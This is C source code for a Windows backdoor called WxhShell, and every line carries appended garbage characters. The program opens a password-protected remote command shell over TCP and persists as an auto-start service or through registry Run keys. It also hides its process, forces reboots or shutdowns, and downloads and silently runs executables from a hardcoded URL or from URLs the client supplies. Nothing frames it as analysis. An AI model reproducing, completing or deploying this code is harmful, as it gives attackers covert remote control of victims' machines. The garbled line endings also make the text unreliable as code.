    send(wsh,msg_ws_err,strlen(msg_ws_err),0); %0@Jm)K^  
    else { JC}y{R8  
    closesocket(wsh); z+&mMP`-  
    ExitThread(0); PoY+Y3  
    } G$:T!  
    break; rC}r99Pe:x  
    } B|gyr4]  
  // 获取shell )P@t,mxW/  
  case 's': { #A@*k}/+  
    CmdShell(wsh); [GZ%K`wx  
    closesocket(wsh); &V$_u#<  
    ExitThread(0); QM`A74j0]\  
    break; |2AK~t|t  
  } B. 6gJ2c  
  // 退出 `Q^G k{9P  
  case 'x': { Hq"i0X m  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); z%(m:/N70  
    CloseIt(wsh); tM <6c+  
    break; X0+$pJ60  
    } K/KZ}PI-O  
  // 离开 d%NO_=I.  
  case 'q': { /=A^@&:_#  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); ]re1$ W#*  
    closesocket(wsh); L+7L0LbNU  
    WSACleanup(); :% )va  
    exit(1); j8WnXp_  
    break; {<o_6 z`$  
        } 3qE2mYK  
  } x6\EU=,  
  } $(K[W}  
Eb{Zm<TP  
  // 提示信息 s"?Z jV)`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); _@;t^j+l  
} f/&gR5  
  } "C&l7K;bp  
YvL5>;  
  return; D/^yAfI  
} v\PqhIy"  
;D&FZ|`(u  
// shell模块句柄 Y^Y|\0  
int CmdShell(SOCKET sock) O{SP4|0JV  
{ b1JXC=*@  
STARTUPINFO si; {D J!T  
ZeroMemory(&si,sizeof(si)); FJomUVR.  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; n*{aN}auJ  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; 5RXZ$/  
PROCESS_INFORMATION ProcessInfo; =~6A c}$  
char cmdline[]="cmd"; | s%--W  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); +XCLdf}dC  
  return 0; 4<[,"<G~3  
} GcaLP*%>B  
e=&,jg?K  
// 自身启动模式 FOVghq@  
int StartFromService(void) gpDH_!K  
{ j>Wb$p6S  
typedef struct kk#%x#L[  
{ IA I!a1e!  
  DWORD ExitStatus; nb dm@   
  DWORD PebBaseAddress; x`~YTOfYk  
  DWORD AffinityMask; >>/|Q:  
  DWORD BasePriority; k8IhQ{@  
  ULONG UniqueProcessId; j}O~6A>|  
  ULONG InheritedFromUniqueProcessId; dZ}gf}.v  
}   PROCESS_BASIC_INFORMATION; m1H|C3u8  
3'tcEFkH  
PROCNTQSIP NtQueryInformationProcess; C'$w*^me  
M|8vP53=q  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; -i93  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; yTJ Eo\g/@  
OBY^J1St  
  HANDLE             hProcess; c"D%c(:4|  
  PROCESS_BASIC_INFORMATION pbi; @'n07 5)h  
1%Hc/N-  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); "?9rJx$  
  if(NULL == hInst ) return 0; h;" 9.  
TL u+5f  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); H.ha}0 J  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); >D]g:t@v  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 7p1f*N[X  
K(jo[S  
  if (!NtQueryInformationProcess) return 0; +/O3L=QyJ  
w{F{7X$^  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); 7m.#No>^  
  if(!hProcess) return 0; X5U#^^O$E%  
Cp"a,%b6u  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; phCItN;  
[vv $"$z  
  CloseHandle(hProcess); hp|.hN(kS]  
}ejZk bP  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Ymvd3>_  
if(hProcess==NULL) return 0; B^;"<2b*  
L5[{taZ,  
HMODULE hMod; a gk w)#  
char procName[255]; xP{)+$n  
unsigned long cbNeeded; 6W\G i>  
J2 ZV\8t  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); b-8}TTL>  
[&(~{#}M:  
  CloseHandle(hProcess); 9{*$[%d1  
n2A ; `=  
if(strstr(procName,"services")) return 1; // 以服务启动 B,S~Idr}  
*Jwx,wF}4  
  return 0; // 注册表启动 Q{[l1:  
} %T6 sm  
)4#YS$B$@)  
// 主模块 !i>d04u`%  
int StartWxhshell(LPSTR lpCmdLine) &J?:wC=E  
{ -I ?8\  
  SOCKET wsl; Ce/l[v  
BOOL val=TRUE; Gf=3h4  
  int port=0; emSky-{$u  
  struct sockaddr_in door; Q Yg V[\&  
nEt{ltsS0  
  if(wscfg.ws_autoins) Install(); :%-w/QwTR  
[KL-T16  
port=atoi(lpCmdLine); .H@b zm  
(kTu6t*  
if(port<=0) port=wscfg.ws_port; 5 ) q_Aro  
)b?$ 4<X^  
  WSADATA data; =Y-.=}jp;  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; NkV81?  
W3zYE3DZf  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Z EK,Z['  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); UgL FU#  
  door.sin_family = AF_INET; I&U.5wf  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); 1xEFMHjy  
  door.sin_port = htons(port); lc8g$Xw3  
~t<G gNI  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { D0Mxl?S?  
closesocket(wsl); }Y^o("c(  
return 1; k Nvb>v  
} oJZxRm[g$t  
*_Vv(H&  
  if(listen(wsl,2) == INVALID_SOCKET) { 9 JhCSw-<)  
closesocket(wsl); R< L =&I  
return 1; ;W T<]  
} +T&YYO8>5  
  Wxhshell(wsl); bg!(B<!X  
  WSACleanup(); DcNp-X40I  
0l3[?YtXc  
return 0; le' Kp V  
'4Jf[  
} ;\v&4+3S  
qm"SN<2S*  
// 以NT服务方式启动 =;4K5l{c  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) 0 *;i]owV  
{ 74ho=  
DWORD   status = 0; *u-$$@|y  
  DWORD   specificError = 0xfffffff; DZ @B9<Zz{  
dl"=ZI '^  
  serviceStatus.dwServiceType     = SERVICE_WIN32; q9dplEe5  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; a4.w2GR  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; -wrVEH8  
  serviceStatus.dwWin32ExitCode     = 0; u]Q}jqiq"  
  serviceStatus.dwServiceSpecificExitCode = 0; L2p?] :-  
  serviceStatus.dwCheckPoint       = 0; x|yJCs>  
  serviceStatus.dwWaitHint       = 0; 0%Le*C'yk  
|gWA'O0S  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); N,Z*d  
  if (hServiceStatusHandle==0) return; HE35QH@/`  
 B$6KI  
status = GetLastError(); I`(53LCqo  
  if (status!=NO_ERROR) Gh/nNwyu<  
{ ht*(@MCr<  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; J;NIa[a  
    serviceStatus.dwCheckPoint       = 0; PJ; WNo8  
    serviceStatus.dwWaitHint       = 0; .8Bu%Sf  
    serviceStatus.dwWin32ExitCode     = status; AmHj\NX$  
    serviceStatus.dwServiceSpecificExitCode = specificError; SzIzQR93&  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); _?:jZ1wZ  
    return; :o' |%JE  
  } "b~C/-W I  
Pc*lHoVL  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; D{s87h  
  serviceStatus.dwCheckPoint       = 0; ,@c1X:  
  serviceStatus.dwWaitHint       = 0; ZT@=d$Z&t  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); 4~3 n =T*  
} L /:^;j`c  
}3A~ek#*~  
// 处理NT服务事件,比如:启动、停止 /6Q]f  
VOID WINAPI NTServiceHandler(DWORD fdwControl) jan}}7Dly  
{ 1$eoW/8.  
switch(fdwControl) QK?V^E  
{ :Rb\Ca  
case SERVICE_CONTROL_STOP: |,p"<a!+{w  
  serviceStatus.dwWin32ExitCode = 0; e2v`  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; ?tY+P`S  
  serviceStatus.dwCheckPoint   = 0; }< H>9iJ:  
  serviceStatus.dwWaitHint     = 0; {QM rgyQ E  
  { dkz% Y]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ed`"xm  
  } 3!b $R?kZ  
  return; !Pw*p*z  
case SERVICE_CONTROL_PAUSE: ,eBC]4)B6  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; _]OY[&R  
  break; z'm}p  
case SERVICE_CONTROL_CONTINUE: zI4rAsysL  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; TL2E|@k1]  
  break; ?VNtT/  
case SERVICE_CONTROL_INTERROGATE: s-#EV  
  break; yf9"Rc~+  
}; 9 Gd6/2  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 0WC\u xT7  
} k}v`UiGM  
0TmEa59P  
// 标准应用程序主函数 [(@K;6o  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) M !'d  
{ (p{%]M  
)]j3-#  
// 获取操作系统版本 VkFh(Br<{  
OsIsNt=GetOsVer(); 9$\s v5  
GetModuleFileName(NULL,ExeFile,MAX_PATH); Q4m> 3I  
_ l|%~  
  // 从命令行安装 Cw+boB_tip  
  if(strpbrk(lpCmdLine,"iI")) Install(); 9>&zOITTaL  
(U.Go/A#wE  
  // 下载执行文件 0~fjY^(  
if(wscfg.ws_downexe) { /eQAGFG  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) M!J7Vj?Ps  
  WinExec(wscfg.ws_filenam,SW_HIDE); QEs$9a5TE  
} ;stuTj@vH  
'hjEd.  
if(!OsIsNt) { >Bb X:  
// 如果时win9x,隐藏进程并且设置为注册表启动 m`-);y  
HideProc(); X%'z  
StartWxhshell(lpCmdLine); D`JBK?~  
} hN2A%ds*(j  
else Xj\ToO  
  if(StartFromService()) \Osu1]Jn>  
  // 以服务方式启动 R'v~:wNTNs  
  StartServiceCtrlDispatcher(DispatchTable); 0#8   
else l1 Kv`v\  
  // 普通方式启动 z ?\it(  
  StartWxhshell(lpCmdLine); lD,2])>  
L[Vk6e  
return 0; 3^UdB9j;  
} xG/Q%A  
Bz ;r<Kn  
m8fj\,X  
_= v4Iz0  
=========================================== XZIapT  
`NW/Z/_  
uxf,95<g)  
P1mg;!tq  
U+!RIF[Je  
Wzl/ @CPM  
" 5%Qxx\q  
bTD?uX!^@  
#include <stdio.h> ZQfxlzj+X  
#include <string.h> ^ j\LB23  
#include <windows.h> C^ )Imr  
#include <winsock2.h> )s $]+HQs  
#include <winsvc.h> 7S{qo&j'  
#include <urlmon.h> 2`f{D~w  
^+m`mcsE  
#pragma comment (lib, "Ws2_32.lib") '3>;8(s l  
#pragma comment (lib, "urlmon.lib") z(\a JW  
~tp]a]yV  
#define MAX_USER   100 // 最大客户端连接数 #kC~qux^  
#define BUF_SOCK   200 // sock buffer ,{0Y:/T'  
#define KEY_BUFF   255 // 输入 buffer [inlxJD  
z&%i"IY  
#define REBOOT     0   // 重启 ws0qwv#  
#define SHUTDOWN   1   // 关机 o'DtW#F  
MRLiiIrq,5  
#define DEF_PORT   5000 // 监听端口 ztO)~uL  
Y7t#)?  
#define REG_LEN     16   // 注册表键长度 \jC) ;mk  
#define SVC_LEN     80   // NT服务名长度 SxRJ{m~  
7h 54j  
// 从dll定义API # ?2*I2_  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); A^OwT#  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Z@Rm^g]o  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); (K[{X0T  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); %> XsKXj  
qd0G sr}j  
// wxhshell配置信息 2b$>1O&2  
struct WSCFG { p'h'Cz  
  int ws_port;         // 监听端口 JQM_96\  
  char ws_passstr[REG_LEN]; // 口令  ew1L+  
  int ws_autoins;       // 安装标记, 1=yes 0=no .\XRkr'-  
  char ws_regname[REG_LEN]; // 注册表键名 >#G%2Vp  
  char ws_svcname[REG_LEN]; // 服务名 -N' (2'  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 }WsPuo  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 >e Gg 1  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 if'=W6W  
int ws_downexe;       // 下载执行标记, 1=yes 0=no CF;Gy L1M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" wC{sP"D  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 TQn!MUj/^  
+p\E%<uQ  
}; d4b!  r  
s-CAo~,  
// default Wxhshell configuration Gld~GyB\k  
struct WSCFG wscfg={DEF_PORT, 1clzDwW  
    "xuhuanlingzhe",  %j&vV>2  
    1, FF8jW1  
    "Wxhshell", )w].m  
    "Wxhshell", BwHJr(n  
            "WxhShell Service", k4s V6f  
    "Wrsky Windows CmdShell Service", 1| sem(t  
    "Please Input Your Password: ", ]xvA2!) Q  
  1, t!\aDkxo %  
  "http://www.wrsky.com/wxhshell.exe", t=7Gfv  
  "Wxhshell.exe" ;2kQ)Bq"  
    }; q[Ai^79  
<J^5l0)q  
// 消息定义模块 nFni1cCD  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; sPK]:i C  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Pim  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; :cA P{rSe  
char *msg_ws_ext="\n\rExit."; %E%=Za  
char *msg_ws_end="\n\rQuit."; [],[LkS  
char *msg_ws_boot="\n\rReboot..."; QbdXt%gZe  
char *msg_ws_poff="\n\rShutdown..."; $j- Fm:ZIA  
char *msg_ws_down="\n\rSave to "; -)-: rRx-  
$PM r)U  
char *msg_ws_err="\n\rErr!"; 0Px Hf*  
char *msg_ws_ok="\n\rOK!"; 0j$=KA  
S[L@8z.Sj  
char ExeFile[MAX_PATH];  C6gSj1  
int nUser = 0; +vZYuEq_  
HANDLE handles[MAX_USER]; cEHpa%_5  
int OsIsNt; 0/~p1SSun  
~ T}D#}  
SERVICE_STATUS       serviceStatus; C 9%bD  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; 54z`KX 73  
Yh]a4l0  
// 函数声明 (lwV(M  
int Install(void); |e8A)xM]wC  
int Uninstall(void); k[mp(  
int DownloadFile(char *sURL, SOCKET wsh); ywm"{ U? 8  
int Boot(int flag); ]Z[3 \~?  
void HideProc(void); bN?*p($/  
int GetOsVer(void); y6am(ugE  
int Wxhshell(SOCKET wsl); <w&'E6mU  
void TalkWithClient(void *cs); O4-#)#-)S~  
int CmdShell(SOCKET sock); EW]DzL 3  
int StartFromService(void); =)y$&Ydj  
int StartWxhshell(LPSTR lpCmdLine); bHTf{=  
~JZLWTEe  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ]oix))'n  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ->|eMV'd  
L e~D"d8  
// 数据结构和表定义 nILUo2e~  
SERVICE_TABLE_ENTRY DispatchTable[] = g?1bEOA!  
{ }!g$k $y  
{wscfg.ws_svcname, NTServiceMain}, '1!%yKc0  
{NULL, NULL} CEk [&39"  
}; U;&s=M0[  
!@gjIYq_Y  
// 自我安装 lN.&46 e  
int Install(void) |{M F o)  
{ QdZHIgh`i  
  char svExeFile[MAX_PATH]; *mWS+xcU(L  
  HKEY key; ]mBlXE:Z  
  strcpy(svExeFile,ExeFile); TbMlYf]It  
un6W|{4]  
// 如果是win9x系统,修改注册表设为自启动 !G;BYr>X  
if(!OsIsNt) { 2QHu8mFU  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { k="w EZ;Q  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ygm=q^bV]s  
  RegCloseKey(key); @zR_[s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { q+YK NXI  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); Xa8_kv_  
  RegCloseKey(key); 5k_%%><: q  
  return 0; N*w{NB7L  
    } Z _<Wr7D  
  } aLevml2:T  
} ~}YgZ/U7T  
else { blV'-Al  
ZCuh^  
// 如果是NT以上系统,安装为系统服务 az:lG(ZGw  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); K!jau|FS  
if (schSCManager!=0) "^pF2JI  
{ h" YA>_1  
  SC_HANDLE schService = CreateService P>6wr\9i[  
  ( ]=^NTm,  
  schSCManager, am WIA`n=  
  wscfg.ws_svcname, #5kg3OO  
  wscfg.ws_svcdisp, 9NC6q-2  
  SERVICE_ALL_ACCESS, () HIcu*i  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , ]s_BOt  
  SERVICE_AUTO_START, 2L2)``*   
  SERVICE_ERROR_NORMAL, =dC5q{  
  svExeFile, Vzrp9&loY  
  NULL, $uNYus^vS  
  NULL, S1$&  
  NULL, FJ&?My,=J  
  NULL, ! +Hc(i  
  NULL Y'LIk Q\  
  ); q(@hYp#O"3  
  if (schService!=0) dJg72?"ka  
  { /?8rj3  
  CloseServiceHandle(schService); a_(vpD^  
  CloseServiceHandle(schSCManager); {wf e!f  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); k!,&L$sG  
  strcat(svExeFile,wscfg.ws_svcname); OGO4~Up  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { au1(.(  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); bxg9T(Bj  
  RegCloseKey(key); Pd<>E*>}c.  
  return 0; VJ(#FA2  
    } {#1}YGpiVM  
  } bjJ212J  
  CloseServiceHandle(schSCManager); D7x"P-ie  
} }" 'l8t0?  
} ]^^mJt.Iv  
djcC m5m  
return 1; )b AcU  
} /e}NZo{)g  
f~? MNJ2  
// 自我卸载 `=3:*.T*  
int Uninstall(void) 5eW GX  
{ &<sDbN S  
  HKEY key; /g!', r,  
&De&ZypU  
if(!OsIsNt) { wg=ge]E5  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { *G#W],~0  
  RegDeleteValue(key,wscfg.ws_regname); {aWTT&-N  
  RegCloseKey(key); <OEu 4,~:  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { G? "6[w/p  
  RegDeleteValue(key,wscfg.ws_regname); %9A6c(L  
  RegCloseKey(key); hIPU%  
  return 0; /K9Tn  
  } bgjo_!J+Pp  
} Q=%1@ ,x"  
} ]?`t spm<t  
else { Vn6g(:\w  
/t083  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); s^b2H !~  
if (schSCManager!=0) ayJKt03\O\  
{ y#Ao6Od6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); !$x9s'D  
  if (schService!=0) [g:ZIl4p\P  
  { .ns1;8  
  if(DeleteService(schService)!=0) { %_!YonRY|X  
  CloseServiceHandle(schService); z17x%jXy  
  CloseServiceHandle(schSCManager); %klC& _g~_  
  return 0; spV/+jy{  
  } Wej8YF@  
  CloseServiceHandle(schService); hSq3LoHV  
  } @O/-~, E68  
  CloseServiceHandle(schSCManager); \4`~ J@5Y  
} V&E)4KBOs  
} }^;Tt-*k  
9GuG"^08  
return 1; Q&;dXE h  
} `Li3=!V[  
:;S]jNy}j)  
// 从指定url下载文件 %SL'X`j  
int DownloadFile(char *sURL, SOCKET wsh) #N?EPV$  
{ {i)k#`  
  HRESULT hr; jiMI&cl  
char seps[]= "/"; q/[)Z @&(  
char *token; i w<2|]>l  
char *file; b/='M`D}#G  
char myURL[MAX_PATH]; ^<#08L;  
char myFILE[MAX_PATH]; xioL6^(Qk,  
_4VF>#b  
strcpy(myURL,sURL); Iq`:h&'!L  
  token=strtok(myURL,seps); Q=[A P+  
  while(token!=NULL) &{?*aK&%3l  
  { _6v|k}tW'Y  
    file=token; b/:&iG;  
  token=strtok(NULL,seps); \Jr ta  
  } | -l)$i@  
pJ7M.C!  
GetCurrentDirectory(MAX_PATH,myFILE); `VT[YhO#}  
strcat(myFILE, "\\"); #;?j]npg]  
strcat(myFILE, file); )'BuRN8  
  send(wsh,myFILE,strlen(myFILE),0); B>}=x4-8  
send(wsh,"...",3,0); hiWfVz{~  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); g z-X4A"  
  if(hr==S_OK) r]p 0O(  
return 0; 8{ aS$V"  
else s*.CJ  
return 1; ;q&6WO  
pZ?7'+u$L  
} $gU6=vN1#  
3[plwe  
// 系统电源模块 Zi5d"V[}T  
int Boot(int flag) C 7)w8y  
{ M8 oCh  
  HANDLE hToken; Sq"O<FmI  
  TOKEN_PRIVILEGES tkp; m%Ah]x;  
Te=[tx~x  
  if(OsIsNt) { Ff xf!zS  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); C'mYR3?m;  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);  II;fBcXF  
    tkp.PrivilegeCount = 1; v o vc,4}  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; w8$rt  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); ,f ..46G  
if(flag==REBOOT) { UruD&=AMK  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 69#D,ME?  
  return 0; =SJwCT0;  
} >\=~2>FCD  
else { /[Oo*}Dc=F  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) WqX#T  
  return 0; * 7: )k  
} R%)ZhG*  
  } ~Pq(Ta  
  else { tmM8YN|  
if(flag==REBOOT) { ^fVLM>p<;  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) KLqn`m`O;  
  return 0; {k.Dy92  
} NHKIZx8sR  
else { r83chR9  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) %YjZF[P  
  return 0; ;4DqtR"7Y  
} d4@\5<  
} ?@W=bJ8{  
S}zh0`+d'Z  
return 1; 3,qq\gxB  
} x!$Dje}  
%si5cc?  
// win9x进程隐藏模块 nNe`?TS?f  
void HideProc(void) HD"Pz}k4  
{ 9y/gWE  
2K/+6t}  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); B/#tR^R  
  if ( hKernel != NULL ) yl63VX8w}  
  { A)I4 `3E  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); V,>_L  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); `? ayc/TK  
    FreeLibrary(hKernel); { bjK(|  
  } HA}pr6Z  
iy&*5U  
return;  4{2)ZI#  
} /($!("b  
![O@{/  
// 获取操作系统版本 n ,<`.^  
int GetOsVer(void) "zJGYBen  
{ \L14rQ t  
  OSVERSIONINFO winfo; r Ntc{{3_  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); :Uu Py|>  
  GetVersionEx(&winfo); dt NHj/\  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) "z+Z8l1.  
  return 1; C9oF*{  
  else !A>VzW  
  return 0; *|c*/7]<  
} g=?KpI-pn0  
1c=Roiq  
// 客户端句柄模块 5H_%inWM  
int Wxhshell(SOCKET wsl) ,z}wR::%  
{ +cAN4  
  SOCKET wsh; B"O5P>  
  struct sockaddr_in client; !x9j~D'C`  
  DWORD myID; MxiU-  
gI A{6,A  
  while(nUser<MAX_USER) l 6.#s3I['  
{ \FOX#|i)  
  int nSize=sizeof(client); ^ K8JE,  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); ) Qve[O  
  if(wsh==INVALID_SOCKET) return 1; ^iJMUV|  
\mZ\1wzn'{  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); +NRn>1]  
if(handles[nUser]==0) "A jtNL5  
  closesocket(wsh); zE V J  
else G+ =6]0HT  
  nUser++; FAu G`zu  
  } x q93>Hs  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); eafy5vN[zX  
vx=I3o  
  return 0; o"^}2^)_SR  
} zOq~?>Ms6  
R<mLG $  
// 关闭 socket [|{yr  
void CloseIt(SOCKET wsh) ,eRl Z3T  
{ 5=Bj?xb$'  
closesocket(wsh); r @~T}<I  
nUser--; @18@[ :d"  
ExitThread(0); ok X\z[X  
} &)Z8Qu  
~c!zTe  
// 客户端请求句柄 c1/G yq  
void TalkWithClient(void *cs) ;?;D(%L  
{ |bDN~c:/  
32:,g4!~6  
  SOCKET wsh=(SOCKET)cs; @.kv",[{[  
  char pwd[SVC_LEN]; #ITx[X89|  
  char cmd[KEY_BUFF]; <C6/R]x#  
char chr[1]; )iy>sa{  
int i,j; 5fb,-`m.  
S$]:3  
  while (nUser < MAX_USER) { ZP?k|sEH  
0[D5]mcv  
if(wscfg.ws_passstr) { 1 7{]QuqNF  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); xpyb&A  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); l{#m"S7J^  
  //ZeroMemory(pwd,KEY_BUFF); 2Z@<llsi  
      i=0; !N,Z3p>Q  
  while(i<SVC_LEN) { z/fRd6|[  
5HG 7M&_  
  // 设置超时 q30WUO;  
  fd_set FdRead; 8<P$E!  
  struct timeval TimeOut; fY=iQ?{/[  
  FD_ZERO(&FdRead); mkBQX  
  FD_SET(wsh,&FdRead); zx-+u7qKH  
  TimeOut.tv_sec=8; |!%A1 wp#  
  TimeOut.tv_usec=0; }U'5j/EFZ  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ^&&dO*0{  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); 8tA.d.8  
(%#d._j>fZ  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); PR|Trnd&D  
  pwd=chr[0]; )[oU|!@  
  if(chr[0]==0xd || chr[0]==0xa) { NH 'RU`U)  
  pwd=0; r %0  
  break; 9,`mH0jP  
  } !+ uMH!  
  i++; sQJM 4'8f  
    } +1d\ZZA|6&  
IU$bP#<  
  // 如果是非法用户,关闭 socket XOqpys  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); $+P v fQ  
} {+xUAmd  
1r~lh#_8  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ys#M* {?  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); f{AgKW9"  
CPVKz   
while(1) { \=N tbBL$[  
do[K-r  
  ZeroMemory(cmd,KEY_BUFF); ~|uCZ.;o  
$,aU"'D  
      // 自动支持客户端 telnet标准   :ZL>JVk  
  j=0; ?>%u[g   
  while(j<KEY_BUFF) { 7Ck;LF}>0  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); raqLXO!j  
  cmd[j]=chr[0]; K&)a3Z=(.  
  if(chr[0]==0xa || chr[0]==0xd) { G0Wd"AV+  
  cmd[j]=0; v,D_^?]@  
  break; rM?D7a{q  
  } COHJJONR  
  j++; l4/TJ%`MG  
    } pM46I"  
:.35pp,0  
  // 下载文件 o[v`Am?v  
  if(strstr(cmd,"http://")) { /6q/`vx@  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ~zm/n,Epb  
  if(DownloadFile(cmd,wsh)) J:(Shd'4D  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); `PW=_f={  
  else M`>W'<  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); D{loX6  
  } D/:)rj14b  
  else { Hug{9Hr3.  
XBY"7}  
    switch(cmd[0]) { TdE_\gEo/R  
  PR'FSTg  
